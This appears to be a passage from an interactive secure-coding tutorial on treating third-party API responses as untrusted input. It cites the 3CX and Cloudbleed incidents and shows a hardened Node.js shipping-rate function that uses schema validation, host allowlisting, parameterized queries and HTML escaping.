3CX's desktop app was compromised because it was built on top of, and trusted, software from a different company — X_TRADER — which had itself already been compromised in an earlier, unrelated attack. Investigators described it as one of the first documented cases of one software supply-chain compromise cascading directly into another.

!
Cloudflare "Cloudbleed" (2017) — Trusting Malformed Upstream HTML

A parsing bug in Cloudflare's reverse proxy meant malformed HTML from certain customer origin servers could cause it to spill unrelated memory — including other customers' private data — into cached pages that search engines then indexed. It was found by Google's Project Zero.

Source: Cloudflare's incident report

Step 5

The Fix

Treat every partner response like the untrusted input it is: validate it, escape it, and never let it steer your own requests.

services/shippingRates.js SECURED
// Pinned, versioned contract with the partner — never a moving target
const RATE_QUOTE_SCHEMA = z.object({
  carrier_name: z.string().max(64).regex(/^[A-Za-z0-9 &.-]+$/),
  tracking_url: z.string().url(),
  eta_days: z.number().int().min(0).max(30),
});

async function getRateQuote(order) {
  const resp = await axios.get(
    'https://partner-logistics.example/v1/rate-quote',
    { params: { postcode: order.postcode }, maxRedirects: 0, timeout: 3000 }
  );

  // ✅ Validate against a strict schema — reject, don't pass through
  const quote = RATE_QUOTE_SCHEMA.parse(resp.data);

  // ✅ Never auto-follow a partner-supplied redirect; allowlist the host first
  if (!ALLOWED_TRACKING_HOSTS.has(new URL(quote.tracking_url).host)) {
    throw new Error('Untrusted tracking_url host');
  }

  await db.query(
    'UPDATE orders SET carrier_name = $1, tracking_url = $2 WHERE id = $3',
    [quote.carrier_name, quote.tracking_url, order.id]
  );

  // ✅ Escaped before ever reaching HTML, regardless of where it came from
  const emailHtml = `<p>Shipped via ${escapeHtml(quote.carrier_name)}.
    Track it here: <a href="${escapeHtml(quote.tracking_url)}">${escapeHtml(quote.tracking_url)}</a></p>`;
  return sendEmail(order.customer_email, emailHtml);
}
1
Treat every third-party API response as untrusted input

Exactly like user input — "it's from our trusted partner" describes a contract, not a security guarantee.

2
Validate against a strict schema, and reject on mismatch

Don't pass fields through because they're "probably fine" — an unexpected shape should fail loudly, not flow downstream.

3
Always escape output, regardless of where the data originated

The rendering layer shouldn't need to know or care whether a string came from a user or a partner.

4
Never let external data control where your server sends further requests

Disable auto-redirects, or allowlist destination hosts before following anything a response supplies.

5
Apply timeouts and circuit-breakers on every integration

A slow or misbehaving partner API shouldn't be able to degrade your own service's reliability.

6
Know your full chain of downstream dependencies

A partner's own partners are still part of your risk surface, even though you never signed a contract with them.

Step 1 of 5